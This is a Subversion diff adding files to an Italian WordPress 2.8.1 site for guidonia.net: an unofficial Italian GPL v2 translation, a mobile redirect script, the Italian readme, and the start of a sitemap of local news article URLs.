+<p>Proteggiamo i diritti dell'utente in due modi: (1) proteggendo il software con un copyright, e (2) offrendo una licenza che dia il permesso legale di copiare, distribuire e modificare il Programma.
+<p>Inoltre, per proteggere ogni autore e noi stessi, vogliamo assicurarci che ognuno capisca che non ci sono garanzie per i programmi coperti da GPL. Se il programma viene modificato da qualcun altro e ridistribuito, vogliamo che gli acquirenti sappiano che ci&ograve; che hanno non &egrave; l'originale, in modo che ogni problema introdotto da altri non si rifletta sulla reputazione degli autori originari.
+<p>Infine, ogni programma libero &egrave; costantemente minacciato dai brevetti sui programmi. Vogliamo evitare il pericolo che chi ridistribuisce un programma libero ottenga la propriet&agrave; di brevetti, rendendo in pratica il programma cosa di sua propriet&agrave;. Per prevenire questa evenienza, abbiamo chiarito che ogni brevetto debba essere concesso in licenza d'uso a chiunque, o non avere alcuna restrizione di licenza d'uso.
+<p>Seguono i termini e le condizioni precisi per la copia, la distribuzione e la modifica.
+<h1 style="text-align: center">LICENZA PUBBLICA GENERICA GNU</h1>
+<h2 style="text-align: center">TERMINI E CONDIZIONI PER LA COPIA, LA DISTRIBUZIONE E LA MODIFICA</h2>
+<ol start="0">
+<li>Questa Licenza si applica a ogni programma o altra opera che contenga una nota da parte del detentore del copyright che dica che tale opera pu&ograve; essere distribuita sotto i termini di questa Licenza Pubblica Generica. Il termine "Programma" nel seguito si riferisce ad ogni programma o opera cos&igrave; definita, e l'espressione "opera basata sul Programma" indica sia il Programma sia ogni opera considerata "derivata" in base alla legge sul copyright; in altre parole, un'opera contenente il Programma o una porzione di esso, sia letteralmente sia modificato o tradotto in un'altra lingua. Da qui in avanti, la traduzione &egrave; in ogni caso considerata una "modifica". Vengono ora elencati i diritti dei beneficiari della licenza.<br /><br />
+Attivit&agrave; diverse dalla copiatura, distribuzione e modifica non sono coperte da questa Licenza e sono al di fuori della sua influenza. L'atto di eseguire il Programma non viene limitato, e l'output del programma &egrave; coperto da questa Licenza solo se il suo contenuto costituisce un'opera basata sul Programma (indipendentemente dal fatto che sia stato creato eseguendo il Programma). In base alla natura del Programma il suo output pu&ograve; essere o meno coperto da questa Licenza.<br /><br />
+<li>&Egrave; lecito copiare e distribuire copie letterali del codice sorgente del Programma cos&igrave; come viene ricevuto, con qualsiasi mezzo, a condizione che venga riprodotta chiaramente su ogni copia una appropriata nota di copyright e di assenza di garanzia; che si mantengano intatti tutti i riferimenti a questa Licenza e all'assenza di ogni garanzia; che si dia a ogni altro destinatario del Programma una copia di questa Licenza insieme al Programma.<br /><br />
+&Egrave; possibile richiedere un pagamento per il trasferimento fisico di una copia del Programma, &egrave; anche possibile a propria discrezione richiedere un pagamento in cambio di una copertura assicurativa.<br /><br />
+<li>&Egrave; lecito modificare la propria copia o copie del Programma, o parte di esso, creando perci&ograve; un'opera basata sul Programma, e copiare o distribuire tali modifiche o tale opera secondo i termini del precedente comma 1, a patto che siano soddisfatte tutte le condizioni che seguono:<br /><br />
+<ol type="a">
+<li>Bisogna indicare chiaramente nei file che si tratta di copie modificate e la data di ogni modifica.</li>
+<li>Bisogna fare in modo che ogni opera distribuita o pubblicata, che in parte o nella sua totalit&agrave; derivi dal Programma o da parti di esso, sia concessa nella sua interezza in licenza gratuita ad ogni terza parte, secondo i termini di questa Licenza.</li>
+<li>Se normalmente il programma modificato legge comandi interattivamente quando viene eseguito, bisogna fare in modo che all'inizio dell'esecuzione interattiva usuale, esso stampi un messaggio contenente una appropriata nota di copyright e di assenza di garanzia (oppure che specifichi il tipo di garanzia che si offre). Il messaggio deve inoltre specificare che chiunque pu&ograve; ridistribuire il programma alle condizioni qui descritte e deve indicare come reperire questa Licenza. Se per&ograve; il programma di partenza &egrave; interattivo ma normalmente non stampa tale messaggio, non occorre che un'opera basata sul Programma lo stampi.</li>
+</ol><br />
+Questi requisiti si applicano all'opera modificata nel suo complesso. Se sussistono parti identificabili dell'opera modificata che non siano derivate dal Programma e che possono essere ragionevolmente considerate lavori indipendenti, allora questa Licenza e i suoi termini non si applicano a queste parti quando queste vengono distribuite separatamente. Se per&ograve; queste parti vengono distribuite all'interno di un prodotto che &egrave; un'opera basata sul Programma, la distribuzione di quest'opera nella sua interezza deve avvenire nei termini di questa Licenza, le cui norme nei confronti di altri utenti si estendono all'opera nella sua interezza, e quindi ad ogni sua parte, chiunque ne sia l'autore.<br /><br />
+Quindi, non &egrave; nelle intenzioni di questa sezione accampare diritti, né contestare diritti su opere scritte interamente da altri; l'intento &egrave; piuttosto quello di esercitare il diritto di controllare la distribuzione di opere derivati dal Programma o che lo contengano.<br /><br />
+Inoltre, la semplice aggregazione di un'opera non derivata dal Programma col Programma o con un'opera da esso derivata su di un mezzo di memorizzazione o di distribuzione, non &egrave; sufficente a includere l'opera non derivata nell'ambito di questa Licenza.</li><br />
+<li>&Egrave; lecito copiare e distribuire il Programma (o un'opera basata su di esso, come espresso al comma 2) sotto forma di codice oggetto o eseguibile secondo i termini dei precedenti commi 1 e 2, a patto che si applichi una delle seguenti condizioni:<br /><br />
+<ol type="a">
+<li>Il Programma sia corredato del codice sorgente completo, in una forma leggibile da calcolatore, e tale sorgente sia fornito secondo le regole dei precedenti commi 1 e 2 su di un mezzo comunemente usato per lo scambio di programmi.</li>
+<li>Il Programma sia accompagnato da un'offerta scritta, valida per almeno tre anni, di fornire a chiunque ne faccia richiesta una copia completa del codice sorgente, in una forma leggibile da calcolatore, in cambio di un compenso non superiore al costo del trasferimento fisico di tale copia, che deve essere fornita secondo le regole dei precedenti commi 1 e 2 su di un mezzo comunemente usato per lo scambio di programmi.</li>
+<li>Il Programma sia accompagnato dalle informazioni che sono state ricevute riguardo alla possibilit&agrave; di ottenere il codice sorgente. Questa alternativa &egrave; permessa solo in caso di distribuzioni non commerciali e solo se il programma &egrave; stato ottenuto sotto forma di codice oggetto o eseguibile in accordo al precedente comma B.</li>
+</ol><br />
+Per "codice sorgente completo" di un'opera si intende la forma preferenziale usata per modificare un'opera. Per un programma eseguibile, "codice sorgente completo" significa tutto il codice sorgente di tutti i moduli in esso contenuti, pi&ugrave; ogni file associato che definisca le interfacce esterne del programma, pi&ugrave; gli script usati per controllare la compilazione e l'installazione dell'eseguibile. In ogni caso non &egrave; necessario che il codice sorgente fornito includa nulla che sia normalmente distribuito (in forma sorgente o in formato binario) con i principali componenti del sistema operativo sotto cui viene eseguito il Programma (compilatore, kernel, e cos&igrave; via), a meno che tali componenti accompagnino l'eseguibile.<br /><br />
+Se la distribuzione dell'eseguibile o del codice oggetto &egrave; effettuata indicando un luogo dal quale sia possibile copiarlo, permettere la copia del codice sorgente dallo stesso luogo &egrave; considerata una valida forma di distribuzione del codice sorgente, anche se copiare il sorgente &egrave; facoltativo per l'acquirente.</li><br />
+<li>Non &egrave; lecito copiare, modificare, sublicenziare, o distribuire il Programma in modi diversi da quelli espressamente previsti da questa Licenza. Ogni tentativo di copiare, modificare, sublicenziare o distribuire il Programma non &egrave; autorizzato, e far&agrave; terminare automaticamente i diritti garantiti da questa Licenza. D'altra parte ogni acquirente che abbia ricevuto copie, o diritti, coperti da questa Licenza da parte di persone che violano la Licenza come qui indicato non vedranno invalidata la loro Licenza, purché si comportino conformemente ad essa.</li><br /><br />
+<li>L'acquirente non &egrave; tenuto ad accettare questa Licenza, poiché non l'ha firmata. D'altra parte nessun altro documento garantisce il permesso di modificare o distribuire il Programma o i lavori derivati da esso. Queste azioni sono proibite dalla legge per chi non accetta questa Licenza; perci&ograve;, modificando o distribuendo il Programma o un'opera basata sul programma, si indica nel fare ci&ograve; l'accettazione di questa Licenza e quindi di tutti i suoi termini e le condizioni poste sulla copia, la distribuzione e la modifica del Programma o di lavori basati su di esso.</li><br />
+<li>Ogni volta che il Programma o un'opera basata su di esso vengono distribuiti, l'acquirente riceve automaticamente una licenza d'uso da parte del licenziatario originale. Tale licenza regola la copia, la distribuzione e la modifica del Programma secondo questi termini e queste condizioni. Non &egrave; lecito imporre restrizioni ulteriori all'acquirente nel suo esercizio dei diritti qui garantiti. Chi distribuisce programmi coperti da questa Licenza non e' comunque tenuto a imporre il rispetto di questa Licenza a terzi.</li><br />
+<li>Se, come conseguenza del giudizio di un tribunale, o di una imputazione per la violazione di un brevetto o per ogni altra ragione (non limitatamente a questioni di brevetti), vengono imposte condizioni che contraddicono le condizioni di questa licenza, che queste condizioni siano dettate dalla corte, da accordi tra le parti o altro, queste condizioni non esimono nessuno dall'osservazione diquesta Licenza. Se non &egrave; possibile distribuire un prodotto in un modo che soddisfi simultaneamente gli obblighi dettati da questa Licenza e altri obblighi pertinenti, il prodotto non pu&ograve; essere affatto distribuito. Per esempio, se un brevetto non permettesse a tutti quelli che lo ricevono di ridistribuire il Programma senza obbligare al pagamento di diritti, allora l'unico modo per soddisfare contemporaneamente il brevetto e questa Licenza e' di non distribuire affatto il Programma.<br /><br />
+Se una qualunque parte di questo comma &egrave; ritenuta non valida o non applicabile in una qualunque circostanza, deve comunque essere applicata l'idea espressa da questo comma; in ogni altra circostanza invece deve essere applicato questo comma nel suo complesso.<br /><br />
+Non &egrave; nelle finalit&agrave; di questo comma indurre gli utenti ad infrangere alcun brevetto né ogni altra rivendicazione di diritti di propriet&agrave;, né di contestare la validit&agrave; di alcuna di queste rivendicazioni; lo scopo di questo comma &egrave; unicamente quello di proteggere l'integrit&agrave; del sistema di distribuzione dei programmi liberi, che viene realizzato tramite l'uso di licenze pubbliche. Molte persone hanno contribuito generosamente alla vasta gamma di programmi distribuiti attraverso questo sistema, basandosi sull'applicazione fedele di tale sistema. L'autore/donatore pu&ograve; decidere di sua volont&agrave; se preferisce distribuire il software avvalendosi di altri sistemi, e l'acquirente non pu&ograve; imporre la scelta del sistema di distribuzione.<br /><br />
+Questo comma serve a rendere il pi&ugrave; chiaro possibile ci&ograve; che crediamo sia una conseguenza del resto di questa Licenza.</li><br />
+<li>Se in alcuni paesi la distribuzione o l'uso del Programma sono limitati da brevetto o dall'uso di interfacce coperte da copyright, il detentore del copyright originale che pone il Programma sotto questa Licenza pu&ograve; aggiungere limiti geografici espliciti alla distribuzione, per escludere questi paesi dalla distribuzione stessa, in modo che il programma possa essere distribuito solo nei paesi non esclusi da questa regola. In questo caso i limiti geografici sono inclusi in questa Licenza e ne fanno parte a tutti gli effetti.</li><br />
+<li>All'occorrenza la Free Software Foundation pu&ograve; pubblicare revisioni o nuove versioni di questa Licenza Pubblica Generica. Tali nuove versioni saranno simili a questa nello spirito, ma potranno differire nei dettagli al fine di coprire nuovi problemi e nuove situazioni.<br /><br />
+Ad ogni versione viene dato un numero identificativo. Se il Programma asserisce di essere coperto da una particolare versione di questa Licenza e "da ogni versione successiva", l'acquirente pu&ograve; scegliere se seguire le condizioni della versione specificata o di una successiva. Se il Programma non specifica quale versione di questa Licenza deve applicarsi, l'acquirente pu&ograve; scegliere una qualsiasi versione tra quelle pubblicate dalla Free Software Foundation.</li><br />
+<li>Se si desidera incorporare parti del Programma in altri programmi liberi le cui condizioni di distribuzione differiscano da queste, &egrave; possibile scrivere all'autore del Programma per chiederne l'autorizzazione. Per il software il cui copyright &egrave; detenuto dalla Free Software Foundation, si scriva alla Free Software Foundation; talvolta facciamo eccezioni alle regole di questa Licenza. La nostra decisione sar&agrave; guidata da due finalit&agrave;: preservare la libert&agrave; di tutti i prodotti derivati dal nostro software libero e promuovere la condivisione e il riutilizzo del software in generale.</li>
+</ol>
+<h2 style="text-align: center">NON C'&Egrave; GARANZIA</h2>
+<ol start="11">
+<li>POICHÉ IL PROGRAMMA &Egrave; CONCESSO IN USO GRATUITAMENTE, NON C'&Egrave; GARANZIA PER IL PROGRAMMA, NEI LIMITI PERMESSI DALLE VIGENTI LEGGI. SE NON INDICATO DIVERSAMENTE PER ISCRITTO, IL DETENTORE DEL COPYRIGHT E LE ALTRE PARTI FORNISCONO IL PROGRAMMA "COS&Igrave; COM'&Egrave;", SENZA ALCUN TIPO DI GARANZIA, NÉ ESPLICITA NÉ IMPLICITA; CI&Ograve; COMPRENDE, SENZA LIMITARSI A QUESTO, LA GARANZIA IMPLICITA DI COMMERCIABILIT&Agrave; E UTILIZZABILIT&Agrave; PER UN PARTICOLARE SCOPO. L'INTERO RISCHIO CONCERNENTE LA QUALIT&Agrave; E LE PRESTAZIONI DEL PROGRAMMA &Egrave; DELL'ACQUIRENTE. SE IL PROGRAMMA DOVESSE RIVELARSI DIFETTOSO, L'ACQUIRENTE SI ASSUME IL COSTO DI OGNI MANUTENZIONE, RIPARAZIONE O CORREZIONE NECESSARIA.</li><br /><br />
+<li>NÉ IL DETENTORE DEL COPYRIGHT NÉ ALTRE PARTI CHE POSSONO MODIFICARE O RIDISTRIBUIRE IL PROGRAMMA COME PERMESSO IN QUESTA LICENZA SONO RESPONSABILI PER DANNI NEI CONFRONTI DELL'ACQUIRENTE, A MENO CHE QUESTO NON SIA RICHIESTO DALLE LEGGI VIGENTI O APPAIA IN UN ACCORDO SCRITTO. SONO INCLUSI DANNI GENERICI, SPECIALI O INCIDENTALI, COME PURE I DANNI CHE CONSEGUONO DALL'USO O DALL'IMPOSSIBILIT&Agrave; DI USARE IL PROGRAMMA; CI&Ograve; COMPRENDE, SENZA LIMITARSI A QUESTO, LA PERDITA DI DATI, LA CORRUZIONE DEI DATI, LE PERDITE SOSTENUTE DALL'ACQUIRENTE O DA TERZI E L'INCAPACIT&Agrave; DEL PROGRAMMA A INTERAGIRE CON ALTRI PROGRAMMI, ANCHE SE IL DETENTORE O ALTRE PARTI SONO STATE AVVISATE DELLA POSSIBILIT&Agrave; DI QUESTI DANNI.</li><br />
+</ol>
+<h2 style="text-align: center">FINE DEI TERMINI E DELLE CONDIZIONI</h2>
+<h2 style="text-align: center">Appendice: come applicare questi termini a nuovi programmi</h2>
+<p>Se si sviluppa un nuovo programma e lo si vuole rendere della maggiore utilit&agrave; possibile per il pubblico, la cosa migliore da fare &egrave; rendere tale programma libero, cosicché ciascuno possa ridistribuirlo e modificarlo sotto questi termini.</p>
+<p>Per fare questo, si inserisca nel programma la seguente nota. La cosa migliore da fare &egrave; mettere la nota all`inizio di ogni file sorgente, per chiarire nel modo pi&ugrave; efficiente possibile l'assenza di garanzia; ogni file dovrebbe contenere almeno la nota di copyright e l'indicazione di dove trovare l'intera nota.</p>
+<div class="indent">
+<p>&lt;una riga per dire in breve il nome del programma e cosa fa&gt;
+Copyright (C) &lt;anno&gt; &lt;nome dell'autore&gt;<br /><br />
+Questo programma &egrave; software libero; &egrave; lecito redistribuirlo o modificarlo secondo i termini della Licenza Pubblica Generica GNU come &egrave; pubblicata dalla Free Software Foundation; o la versione 2 della licenza o (a propria scelta) una versione successiva.<br /><br />
+Questo programma &egrave; distribuito nella speranza che sia utile, ma SENZA ALCUNA GARANZIA; senza neppure la garanzia implicita di NEGOZIABILIT&Agrave; o di APPLICABILIT&Agrave; PER UN PARTICOLARE SCOPO. Si veda la Licenza Pubblica Generica GNU per avere maggiori dettagli.<br /><br />
+Questo programma deve essere distribuito assieme ad una copia della Licenza Pubblica Generica GNU; in caso contrario, se ne pu&ograve; ottenere una scrivendo alla Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA</p>
+</div>
+<p>Si aggiungano anche informazioni su come si pu&ograve; essere contattati tramite posta elettronica e cartacea.</p>
+<p>Se il programma &egrave; interattivo, si faccia in modo che stampi una breve nota simile a questa quando viene usato interattivamente:</p>
+<div class="indent">
+<p>Orcaloca versione 69, Copyright (C) anno nome dell'autore<br />
+Orcaloca non ha ALCUNA GARANZIA; per dettagli usare il comando `show g'.<br />
+Questo &egrave; software libero, e ognuno &egrave; libero di ridistribuirlo secondo certe condizioni; usare il comando `show c' per i dettagli.
+</div>
+<p>Gli ipotetici comandi "show g" e "show c" mostreranno le parti appropriate della Licenza Pubblica Generica. Chiaramente, i comandi usati possono essere chiamati diversamente da "show g" e "show c" e possono anche essere selezionati con il mouse o attraverso un men&ugrave;, o comunque sia pertinente al programma.</p>
+<p>Se necessario, si deve anche far firmare al proprio datore di lavoro (per chi lavora come programmatore) o alla propria scuola, per chi &egrave; studente, una "rinuncia al copyright" per il programma. Ecco un esempio con nomi fittizi:</p>
+<div class="indent">
+<p>Yoyodinamica SPA rinuncia con questo documento ad ogni diritto sul copyright del programma `Orcaloca' (che svolge dei passi di compilazione) scritto da Giovanni Smanettone.</p>
+<div class="indent">
+&lt;firma di Primo Tizio&gt;, 1 April 3000<br />
+Primo Tizio, Presidente
+</div>
+</div>
+<p>I programmi coperti da questa Licenza Pubblica Generica non possono essere incorporati all'interno di programmi proprietari. Se il proprio programma &egrave; una libreria di funzioni, pu&ograve; essere pi&ugrave; utile permettere di collegare applicazioni proprietarie alla libreria. Se si ha questa intenzione consigliamo di usare la Licenza Pubblica Generica Minore GNU (LGPL) invece di questa Licenza.</p>
+<div class="nota">
+<p>Questa &egrave; una traduzione italiana non ufficiale della Licenza Pubblica Generica GNU. Non &egrave; pubblicata dalla Free Software Foundation e non ha valore legale nell'esprimere i termini di distribuzione del software che usa la licenza GPL. Solo la <a href="license.txt">versione originale in inglese</a> della licenza ha valore legale. Ad ogni modo, speriamo che questa traduzione aiuti le persone di lingua italiana a capire meglio il significato della licenza GPL.</p>
+<p>This is an unofficial translation of the GNU General Public License into Italian. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the <a href="license.txt">original English text</a> of the GNU GPL does that. However, we hope that this translation will help Italian speakers understand the GNU GPL better.</p>
+</div>
+</div>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/mobile/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/mobile/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/mobile/index.php	(revision 44)
@@ -0,0 +1,4 @@
+<?php
+header ("Location: http://www.guidonia.net/wp/?cf_action=show_mobile");
+
+?>
Index: /trunk/www.guidonia.net/wp/readme.html
===================================================================
--- /trunk/www.guidonia.net/wp/readme.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/readme.html	(revision 44)
@@ -0,0 +1,91 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>WordPress &rsaquo; ReadMe</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
+</head>
+<body>
+<h1 id="logo" style="text-align: center">
+	<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
+	<br /> Versione 2.8.1
+</h1>
+<p style="text-align: center"> Piattaforma di Editoria Personale Semantica</p>
+
+<h1>Una Piccola Cosa Prima</h1>
+<p>Benvenuti. WordPress &egrave; un progetto molto speciale per me. Ciascun sviluppatore, e ciascuna persona che  contribuisce, aggiunge qualcosa di unico al &quot;mix&quot;, e insieme stiamo creando qualcosa di meraviglioso, di cui sono orgoglioso di far parte. Sono state spese migliaia di ore per il progetto WordPress e ogni giorno ci impegnamo per migliorarlo. Grazie di averlo accolto nel vostro mondo.</p>
+<p style="text-align: right;">&#8212; Matt Mullenweg </p>
+
+<h1>Installazione: La famosa installazione in 5 minuti</h1>
+<ol>
+	<li>Decomprimi in pacchetto in una directory vuota.</li>
+	<li>Apri il file <code>wp-config-sample.php</code> con un editor di testo come WordPad o simili e inserisci i parametri di connessione al database.</li>
+	<li>Salva il file con questo nome: <code>wp-config.php</code>. </li>
+	<li>Carica tutto sul server remoto.</li>
+	<li>Lancia dal browser la pagina <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span>. Questa operazione dovrebbe installare le tabelle necessarie per il tuo blog. Se ci sono errori, controlla attentamente il file <span class="file">wp-config.php</span> e riprova. Se l'errore persiste, per favore consulta i <a href="http://www.wordpress-it.it/forum/">forum di supporto italiano</a> riportando il problema nella maniera pi&ugrave; dettagliata possibile. </li>
+	<li><strong>Segnati la  password che ti viene assegnata.</strong></li>
+	<li> Lo script di installazione dovrebbe ridirigerti alla <a href="wp-login.php">pagina di login</a>. Inserisci il nome utente<code> admin</code> e la password che &egrave; stata generata durante l'installazione. Potrai cambiarla in seguito, cliccando  su 'Profilo'.</li>
+</ol>
+
+<h1>Aggiornamento</h1>
+<p>Prima di aggiornare l'installazione, assicurati di aver fatto una copia di backup di tutti i file che hai modificato, come ad esempio il file <code>index.php</code>.</p>
+<h2>Aggiornamento di qualsiasi versione precedente alla versione 2.1 di WordPress:</h2>
+<ol>
+	<li>Cancella i vecchi file di WP, salvando quelli che hai modificato</li>
+	<li>Carica i nuovi file sul server</li>
+	<li>Dirigi il  browser alla pagina <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a></span></li>
+	<li> Ecco fatto! Ti aspettavi altro, forse?</li>
+</ol>
+<h2>Modifica dei Template</h2>
+<p>Se hai modificato i template, probabilmente dovrai fare qualche ulteriore modifica. Se stai convertendo i tuoi template dalla versione 1.2 (o precedente), <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">abbiamo creato per te una speciale guida</a>.</p>
+
+<h1>Risorse Online</h1>
+<p>Se hai delle domande alle quali questo documento non ha dato risposta, puoi approfittare delle numerose risorse online di WordPress:</p>
+<dl>
+	<dt><a href="http://codex.wordpress.org/">Il Progetto  WordPress Codex </a></dt>
+	<dd>Il &quot;Codex&quot; &egrave; l'enciclopedia di tutte quanto riguarda WordPress. &Egrave; la risorsa di informazioni pi&ugrave; completa su WordPress. </dd>
+	<dt><a href="http://wordpress.org/development/">Il Blog di Sviluppo</a></dt>
+	<dd>Qui puoi trovare gli ultimi aggiornamenti e le ultime notizie su WordPress. Aggiungi il sito ai Segnalibri e visitalo spesso. </dd>
+	<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
+	<dd>WordPress Planet &egrave; un aggregatore di notizie che riporta gli articoli riguardanti i blog WordPress in Rete.</dd>
+	<dt><a href="http://wordpress.org/support/">I Forum di Supporto di WordPress</a></dt>
+	<dd>Se hai cercato in rete e non hai trovato risposta, i forum di supporto sono molto attivi e costituiscono una comunit&agrave; molto ampia di persone pronte ad aiutarti. Per fare in modo che possano aiutarti, assicurati di scrivere dei titoli molto descrittivi e riporta le tue domande nella maniera pi&ugrave; dettagliata possibile. </dd>
+	<dt><a href="http://codex.wordpress.org/IRC">Il Canale IRC di WordPress</a></dt>
+	<dd>Infine, c'&egrave; un canale chat dove le persone si incontrano per chiacchierare di WordPress e per occasionali richieste di aiuto. La pagina wiki sopracitata dovrebbe mostrarti la giusta direzione (irc.freenode.net #wordpress). </dd>
+</dl>
+
+<h1>Requisiti di Sistema</h1>
+<ul>
+	<li>PHP versione <strong>4.2</strong> o successiva</li>
+	<li>MySQL versione<strong> 4.0</strong> o successiva</li>
+	<li>... e un  link a <a href="http://wordpress.org">http://wordpress.org</a> sul tuo sito.</li>
+</ul>
+<p>WordPress &egrave; il proseguimento ufficiale del progetto <a href="http://cafelog.com/">b2/caf&eacute;log</a>, inizialmente implementato da Michel V. Il lavoro &egrave; stato continuato dagli <a href="http://wordpress.org/about/">Sviluppatori di WordPress</a>. Se vuoi aiutare il progetto WordPress, per favore considera l'ipotesi di fare una <a href="http://wordpress.org/donate/">donazione</a>. </p>
+
+<h1>Aggiornamento da altre piattaforme</h1>
+<p>WordPress pu&ograve; <a href="http://codex.wordpress.org/Importing_from_other_blogging_software">importare contenuti da altre piattaforme blog</a>. &Egrave; necessario che abbia installato e configurato WordPress secondo le istruzioni.</p>
+
+<h1>L'interfaccia XML-RPC e Atom</h1>
+<p>Adesso &egrave; possibile pubblicare articoli sul tuo blog  WordPress servendoti di strumenti come <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (invia articoli dal tuo cellulare Wap!), <a href="http://radio.userland.com">Radio Userland</a> (questo significa che puoi usare la funzione  email-to-blog di  Radio), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, e altri strumenti che supportano le Blogging API! :) Per saperne di pi&ugrave; consulta il <a href="http://codex.wordpress.org/XML-RPC_Support">Supporto XML-RPC sul Codex</a>.</p>
+
+<h1>Inviare Articoli via Email</h1>
+<p>Puoi pubblicare articoli sul tuo blog inviandoli dal tuo programma di posta! Per sfruttare questa funzione, vai nelle opzioni di &quot;Scrittura&quot; e inserisci i parametri di connessione al tuo account POP3 segreto. Una volta fatto questo, dovrai fare in modo che il file <code>wp-mail.php</code> venga eseguito periodicamente, per controllare se la casella di posta contiene nuovi articoli. Puoi fare questo tramite i &quot;Cron-jobs&quot;, oppure se questi non sono supportati dal tuo fornitore di hosting, puoi fare una ricerca di vari siti che offrono servizi di monitoraggio e fare in modo che controllino periodicamente il tuo URL <code>wp-mail.php</code>.</p>
+<p> La pubblicazione &egrave; facile: Ogni email inviata all'indirizzo da te specificato, verr&agrave; pubblicata, con l'oggetto come titolo. &Egrave; meglio tenere segreto l'indirizzo email. Lo script inoltre, <i>canceller&agrave;</i> le email pubblicate con successo.</p>
+
+<h1>Livelli Utente</h1>
+<p>Sono stati eliminati i livelli utente per far spazio ad un sistema di ruoli pi&ugrave; flessibile a partire dalla versione 2.0. Potete <a href="http://codex.wordpress.org/Roles_and_Capabilities">saperne di pi&ugrave; su Ruoli e Capacitï¿œul Codex</a>.</p>
+
+<h1> Note Finali</h1>
+<ul>
+	<li>Se hai suggerimenti, idee, commenti o se (gasp!) scopri un bug, vieni a trovarci nei <a href="http://wordpress.org/support/">Forum di Supporto</a></li>
+	<li>WordPress ora dispone di un robusto  plugin API che semplifica l'estensione del codice. Se sei uno sviluppatore e sei interessato ad utilizzare questo plugin, consulta la <a href="http://codex.wordpress.org/Plugin_API">documentazione del plugin sul Codex</a>. Nella maggior parte dei casi, non dovrai modificare niente del codice principale.</li>
+</ul>
+
+<h1>Condividi la Passione</h1>
+<p>WordPress non dispone di campagne di marketing milionarie o di testimonial celebri, ma abbiamo di sicuro qualcosa di meglio - te. Se ti piace WordPress, per favore segnalalo ad un amico, aiutando nell'installazione chi ne sa meno di te, o consigliandolo ai media come argomento da trattare.</p>
+
+<h1>Copyright</h1>
+<p>WordPress &egrave; rilasciato sotto licenza <abbr title="GNU Public License">GPL</abbr> (leggi il documento <a href="licenza.html">licenza.html</a>).</p>
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/sitemap.xml
===================================================================
--- /trunk/www.guidonia.net/wp/sitemap.xml	(revision 44)
+++ /trunk/www.guidonia.net/wp/sitemap.xml	(revision 44)
@@ -0,0 +1,3799 @@
+<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="http://www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.xsl"?><!-- generator="wordpress/2.8.1" --><!-- sitemap-generator-url="http://www.arnebrachhold.de" sitemap-generator-version="3.1.6" --><!-- generated-on="12 September 2009 3:02 am" --><urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">	<url>
+		<loc>http://www.guidonia.net/wp/</loc>
+		<lastmod>2009-09-11T08:58:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>1.0</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/aeronautica-militare-vecchi-capo-servizio-supporti-dedalo-news.html</loc>
+		<lastmod>2009-09-11T08:58:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/arrestati-2-slavi-dai-carabinieri-dopo-una-lite-allalbuccione-melito-online.html</loc>
+		<lastmod>2009-09-10T15:11:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/esterno-del-bb-il-pepe-verde-a-guidonia-roma-fulltravel-it.html</loc>
+		<lastmod>2009-09-09T16:01:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/la-ferrari-di-case-nella-tappa-del-challenge-a-brno-motorsportblog-it.html</loc>
+		<lastmod>2009-09-09T15:46:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/da-regione-700mila-euro-per-sostituire-ascensori-stabile-guidonia-regione-lazio.html</loc>
+		<lastmod>2009-09-09T14:32:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-ater-da-regione-700mila-euro-per-sostituzione-ascensori-libero-news-it.html</loc>
+		<lastmod>2009-09-09T14:01:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/mike-buongiorno-se-ne-e-andato.html</loc>
+		<lastmod>2009-09-08T12:22:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-agenda-lazio-gli-appuntamenti-del-giorno-il-velino.html</loc>
+		<lastmod>2009-09-08T06:12:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
